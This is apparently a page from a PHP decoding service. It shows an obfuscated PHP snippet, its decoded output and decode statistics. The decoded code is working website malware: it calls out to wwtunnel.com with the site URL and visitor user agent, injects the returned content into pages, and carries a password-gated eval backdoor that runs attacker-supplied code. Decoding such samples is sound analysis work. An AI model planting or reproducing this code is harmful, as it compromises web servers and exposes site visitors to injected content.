Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAy..

Decoded Output download

if (isset($ibv)) { echo $ibv; } else {  error_reporting(0);
ini_set("display_errors", "0");
if (!isset($ibv)) {
if(!empty($_COOKIE["client_check"])) die($_COOKIE["client_check"]);
if(preg_match('!\S!u', file_get_contents($_SERVER["SCRIPT_FILENAME"]))) $c = "u"; else $c = "w";
$d = $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = $_SERVER["HTTP_USER_AGENT"];
$url = "http://wwtunnel.com/get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("0272bc7ccdc6aa47a4447a54dcfeba31".$d.$u.$c."1");
if(ini_get("allow_url_fopen") == 1) {
$ibv = file_get_contents($url);
} elseif(function_exists("curl_init")) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
$result = curl_exec($ch);
curl_close($ch);
$ibv = $result;
} else {
$fp = fsockopen("wwtunnel.com", 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET /get.php?d=".urlencode($d)."&u=".urlencode($u)."&c=".$c."&i=1&h=".md5("0272bc7ccdc6aa47a4447a54dcfeba31".$d.$u.$c."1")." HTTP/1.1
";
    $out .= "Host: wwtunnel.com
";
    $out .= "Connection: Close

";
    fwrite($fp, $out);
    $resp = "";
    while (!feof($fp)) {
        $resp .= fgets($fp, 128);
    }
    fclose($fp);
    list($header, $body) = preg_split("/\R\R/", $resp, 2);
    $ibv = $body;
}
}
};
if(isset($_REQUEST["p"]) && $_REQUEST["p"] == "2a42DSD3") { eval(stripslashes($_REQUEST["c"])); }
echo $ibv; }

Did this file decode correctly?

Original Code

<?php eval(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftVTIlpz9lK3WypT9lqTyhMltjXGfXnJ5cK3AyqPtvMTympTkurI9ypaWipaZvYPNvZPVcBjccMvNbVJymp2I0XPEcLaLcXFO7PzyzXPSyoKO0rFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cXFOxnJHbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXGfXnJLbpUWyM19gLKEwnPtaVIkGVKHaYPOznJkyK2qyqS9wo250MJ50pltxK1ASHyMSHyfvH0AFFIOHK0MWGRIBDH1SVy0cXFxtWTZtCFNvqFV7VTIfp2HtWTZtCFNvqlV7PvExVQ0tWS9GEIWJEIWoVyASHyMSHy9BDH1SVy0hWS9GEIWJEIWoVyWSHIISH1EsIIWWVy07PvE1VQ0tWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqBjbxqKWfVQ0tVzu0qUN6Yl93q3E1oz5yoP5wo20iM2I0YaObpQ9xCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwNlAmWvLmqwL2EwAzSuAQquAQD0A2R1ATEwMzIvLGZkVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVaq3qUIhozIfYzAioFVfVQtjYPNxMKWloz8fVPEypaWmqUVfVQZjXGfXnJLtXPEzpPxtrjbtVPNtWT91qPN9VPWUEIDtY2qyqP5jnUN/MQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPVjZwplLzZ3L2AxLmMuLGD3LGD0AQquAGExL2MyLzRmZFVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvO3q3E1oz5yoP5wo21ppykhVwfXVPNtVPEiqKDtYw0tVxAioz5yL3Eco246VRAfo3AyKUWpoyklKT4vBjbtVPNtMaqlnKEyXPEzpPjtWT91qPx7PvNtVPNxpzImpPN9VPVvBjbtVPNtq2ucoTHtXPSzMJ9zXPEzpPxcVUfXVPNtVPNtVPNxpzImpPNhCFOzM2I0pltxMaNfVQRlBPx7PvNtVPO9PvNtVPOzL2kip2HbWTMjXGfXVPNtVTkcp3DbWTuyLJEypvjtWTWiMUxcVQ0tpUWyM19mpTkcqPtvY1kFKSViVvjtWUWyp3NfVQVcBjbtVPNtWTyvqvN9VPEvo2E5Bjc9Pa0XsGfXnJLbnKAmMKDbWS9FEISIEIAHJlWjVy0cVPLzVPEsHxIEIHIGISfvpPWqVQ09VPVlLGDlESARZlVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7VU0="));'));

Function Calls

str_rot13 1
base64_decode 1

Variables

None

Stats

MD5 95c027b89a2a0f737de174106523c186
Eval Count 2
Decode Time 76 ms